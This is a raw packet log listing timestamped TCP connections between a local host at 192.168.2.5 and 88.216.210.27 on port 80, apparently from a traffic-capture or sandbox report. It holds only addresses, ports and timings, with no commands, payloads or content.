Apr 9, 2023 02:59:22.394474983 CEST	80	49785	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.394679070 CEST	49785	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.394831896 CEST	49785	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.548584938 CEST	80	49785	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.551440001 CEST	80	49785	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.551472902 CEST	80	49785	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.551492929 CEST	80	49785	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.551507950 CEST	80	49785	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.551651955 CEST	49785	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.551651955 CEST	49785	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.551917076 CEST	49785	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.666986942 CEST	49786	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.712627888 CEST	80	49785	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.813479900 CEST	80	49786	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.813693047 CEST	49786	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.875621080 CEST	49786	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.021933079 CEST	80	49786	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.024615049 CEST	80	49786	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.024655104 CEST	80	49786	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.024681091 CEST	80	49786	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.024705887 CEST	80	49786	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.024755001 CEST	49786	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.024799109 CEST	49786	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.259567976 CEST	49786	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.377470016 CEST	49787	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.406037092 CEST	80	49786	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.542845011 CEST	80	49787	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.543014050 CEST	49787	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.574100018 CEST	49787	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.738804102 CEST	80	49787	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.741369963 CEST	80	49787	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.741405964 CEST	80	49787	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.741437912 CEST	80	49787	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:23.741487980 CEST	49787	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.741538048 CEST	49787	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.814670086 CEST	49787	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.940659046 CEST	49788	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:23.984302044 CEST	80	49787	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:24.087097883 CEST	80	49788	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:24.087276936 CEST	49788	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:24.138170958 CEST	49788	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:24.284526110 CEST	80	49788	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:24.286942959 CEST	80	49788	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:24.286989927 CEST	80	49788	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:24.287022114 CEST	80	49788	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:24.287053108 CEST	49788	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:24.287086964 CEST	49788	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:24.764152050 CEST	49788	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:24.910603046 CEST	80	49788	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:24.923674107 CEST	49789	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.083925962 CEST	80	49789	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.085578918 CEST	49789	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.085578918 CEST	49789	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.245392084 CEST	80	49789	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.248236895 CEST	80	49789	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.248282909 CEST	80	49789	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.248320103 CEST	80	49789	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.248609066 CEST	49789	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.248609066 CEST	49789	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.260093927 CEST	49789	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.366429090 CEST	49790	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.416129112 CEST	80	49789	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.512928963 CEST	80	49790	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.513087988 CEST	49790	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.513205051 CEST	49790	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.659398079 CEST	80	49790	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.663382053 CEST	80	49790	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.663428068 CEST	80	49790	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.663459063 CEST	80	49790	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.663562059 CEST	49790	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.663621902 CEST	49790	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.674817085 CEST	49790	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.821074963 CEST	80	49790	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.821736097 CEST	49791	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.971777916 CEST	80	49791	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:25.971898079 CEST	49791	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:25.977729082 CEST	49791	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.128740072 CEST	80	49791	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.131468058 CEST	80	49791	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.131534100 CEST	80	49791	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.131565094 CEST	80	49791	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.131726027 CEST	49791	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.131978035 CEST	49791	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.241452932 CEST	49792	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.288283110 CEST	80	49791	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.388945103 CEST	80	49792	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.389039040 CEST	49792	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.389211893 CEST	49792	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.537113905 CEST	80	49792	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.539433956 CEST	80	49792	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.539473057 CEST	80	49792	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.539494991 CEST	80	49792	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.539608002 CEST	49792	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.539649963 CEST	49792	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.548805952 CEST	49792	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.673975945 CEST	49793	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.695091963 CEST	80	49792	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.820400000 CEST	80	49793	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.821938992 CEST	49793	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.828990936 CEST	49793	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.975337029 CEST	80	49793	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.977670908 CEST	80	49793	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.977704048 CEST	80	49793	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.977726936 CEST	80	49793	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:26.977816105 CEST	49793	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.977858067 CEST	49793	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:26.978334904 CEST	49793	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.086365938 CEST	49794	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.124640942 CEST	80	49793	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.232681990 CEST	80	49794	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.232928991 CEST	49794	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.233006001 CEST	49794	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.379173994 CEST	80	49794	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.381827116 CEST	80	49794	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.381863117 CEST	80	49794	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.381894112 CEST	80	49794	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.382045031 CEST	49794	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.382045031 CEST	49794	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.382278919 CEST	49794	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.495371103 CEST	49795	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.528358936 CEST	80	49794	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.641788960 CEST	80	49795	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.641987085 CEST	49795	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.642163992 CEST	49795	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.788247108 CEST	80	49795	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.790888071 CEST	80	49795	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.790923119 CEST	80	49795	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.790944099 CEST	80	49795	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.790966034 CEST	80	49795	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:27.791027069 CEST	49795	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.791112900 CEST	49795	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.791342974 CEST	49795	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.899418116 CEST	49796	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:27.937486887 CEST	80	49795	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.045762062 CEST	80	49796	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.046022892 CEST	49796	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.046232939 CEST	49796	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.192332983 CEST	80	49796	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.196156025 CEST	80	49796	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.196197033 CEST	80	49796	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.196218014 CEST	80	49796	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.196240902 CEST	80	49796	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.196371078 CEST	49796	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.196413994 CEST	49796	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.196598053 CEST	49796	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.313074112 CEST	49797	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.342772961 CEST	80	49796	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.459594011 CEST	80	49797	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.459851027 CEST	49797	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.460082054 CEST	49797	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.606334925 CEST	80	49797	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.608747005 CEST	80	49797	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.608792067 CEST	80	49797	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.608815908 CEST	80	49797	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.608962059 CEST	49797	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.609023094 CEST	49797	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.609124899 CEST	49797	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.725984097 CEST	49798	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.755337954 CEST	80	49797	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.872431040 CEST	80	49798	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:28.872642994 CEST	49798	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:28.872771978 CEST	49798	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.019124985 CEST	80	49798	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.021471024 CEST	80	49798	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.021502972 CEST	80	49798	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.021527052 CEST	80	49798	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.021554947 CEST	49798	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.021610022 CEST	49798	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.021799088 CEST	49798	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.138547897 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.168030024 CEST	80	49798	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.286521912 CEST	80	49799	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.286765099 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.291562080 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.437916040 CEST	80	49799	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.441726923 CEST	80	49799	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.441845894 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.441924095 CEST	80	49799	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.441961050 CEST	80	49799	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.442023039 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.442164898 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.442164898 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.554773092 CEST	49800	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.701358080 CEST	80	49800	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.701481104 CEST	49800	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.701639891 CEST	49800	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.848969936 CEST	49799	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.850440979 CEST	80	49800	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.853117943 CEST	80	49800	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.853157043 CEST	80	49800	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.853185892 CEST	80	49800	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:29.853285074 CEST	49800	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.853477955 CEST	49800	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.969029903 CEST	49801	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:29.998152018 CEST	80	49799	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.002254963 CEST	80	49800	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.118587971 CEST	80	49801	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.118777990 CEST	49801	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.118966103 CEST	49801	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.265065908 CEST	80	49801	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.268562078 CEST	80	49801	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.268605947 CEST	80	49801	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.268650055 CEST	80	49801	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.268749952 CEST	49801	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.268810987 CEST	49801	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.277559042 CEST	49801	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.382110119 CEST	49802	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.425601959 CEST	80	49801	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.529577971 CEST	80	49802	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.529655933 CEST	49802	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.529858112 CEST	49802	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.675940990 CEST	80	49802	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.678510904 CEST	80	49802	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.678543091 CEST	80	49802	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.678572893 CEST	80	49802	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.678652048 CEST	49802	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.678714991 CEST	49802	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.685338974 CEST	49802	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.807455063 CEST	49803	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.831496000 CEST	80	49802	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.953938007 CEST	80	49803	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:30.954327106 CEST	49803	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:30.954473972 CEST	49803	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.100848913 CEST	80	49803	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.103523016 CEST	80	49803	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.103607893 CEST	80	49803	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.103681087 CEST	80	49803	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.103720903 CEST	80	49803	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.103720903 CEST	49803	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.103770018 CEST	49803	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.103801012 CEST	49803	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.118592024 CEST	49803	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.227195978 CEST	49804	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.265043974 CEST	80	49803	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.373579025 CEST	80	49804	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.373709917 CEST	49804	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.373858929 CEST	49804	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.520137072 CEST	80	49804	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.523129940 CEST	80	49804	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.523184061 CEST	80	49804	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.523236036 CEST	80	49804	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.523332119 CEST	49804	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.523396969 CEST	49804	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.523578882 CEST	49804	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.636410952 CEST	49805	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.670068979 CEST	80	49804	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.783756018 CEST	80	49805	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.783901930 CEST	49805	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.784022093 CEST	49805	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.930265903 CEST	80	49805	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.932674885 CEST	80	49805	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.932797909 CEST	80	49805	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.932843924 CEST	80	49805	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.932863951 CEST	80	49805	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:31.932876110 CEST	49805	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.932960987 CEST	49805	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:31.933196068 CEST	49805	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.038840055 CEST	49806	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.079427004 CEST	80	49805	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.185054064 CEST	80	49806	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.185261965 CEST	49806	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.186223984 CEST	49806	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.332377911 CEST	80	49806	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.334785938 CEST	80	49806	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.334827900 CEST	80	49806	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.334861994 CEST	80	49806	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.334929943 CEST	49806	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.334997892 CEST	49806	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.341001987 CEST	49806	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.449780941 CEST	49807	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.487292051 CEST	80	49806	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.596076965 CEST	80	49807	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.596338987 CEST	49807	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.596596003 CEST	49807	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.742716074 CEST	80	49807	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.745337963 CEST	80	49807	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.745373011 CEST	80	49807	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.745398045 CEST	80	49807	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:32.745507956 CEST	49807	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.745553017 CEST	49807	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.745855093 CEST	49807	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.851113081 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:32.891988993 CEST	80	49807	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.013576031 CEST	80	49808	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.013797045 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.015346050 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.182373047 CEST	80	49808	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.184792995 CEST	80	49808	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.184880972 CEST	80	49808	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.184907913 CEST	80	49808	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.184909105 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.184928894 CEST	80	49808	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.184956074 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.184968948 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.184987068 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.186199903 CEST	49808	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.333051920 CEST	49809	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.347321033 CEST	80	49808	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.486968040 CEST	80	49809	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.487088919 CEST	49809	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.487442017 CEST	49809	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.640151024 CEST	80	49809	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.645345926 CEST	80	49809	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.645384073 CEST	80	49809	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.645415068 CEST	80	49809	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.645570993 CEST	49809	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.645570993 CEST	49809	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.646051884 CEST	49809	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.776907921 CEST	49810	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.799858093 CEST	80	49809	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.923861027 CEST	80	49810	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:33.924020052 CEST	49810	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:33.924262047 CEST	49810	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.072689056 CEST	80	49810	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.074949980 CEST	80	49810	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.074992895 CEST	80	49810	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.075020075 CEST	80	49810	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.075045109 CEST	80	49810	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.075078011 CEST	49810	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.075119019 CEST	49810	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.078155994 CEST	49810	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.195449114 CEST	49811	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.224451065 CEST	80	49810	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.341768980 CEST	80	49811	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.341924906 CEST	49811	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.342051029 CEST	49811	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.488195896 CEST	80	49811	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.492451906 CEST	80	49811	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.492506981 CEST	80	49811	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.492537022 CEST	80	49811	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.492564917 CEST	80	49811	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.492602110 CEST	49811	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.492646933 CEST	49811	80	192.168.2.5	88.216.210.27
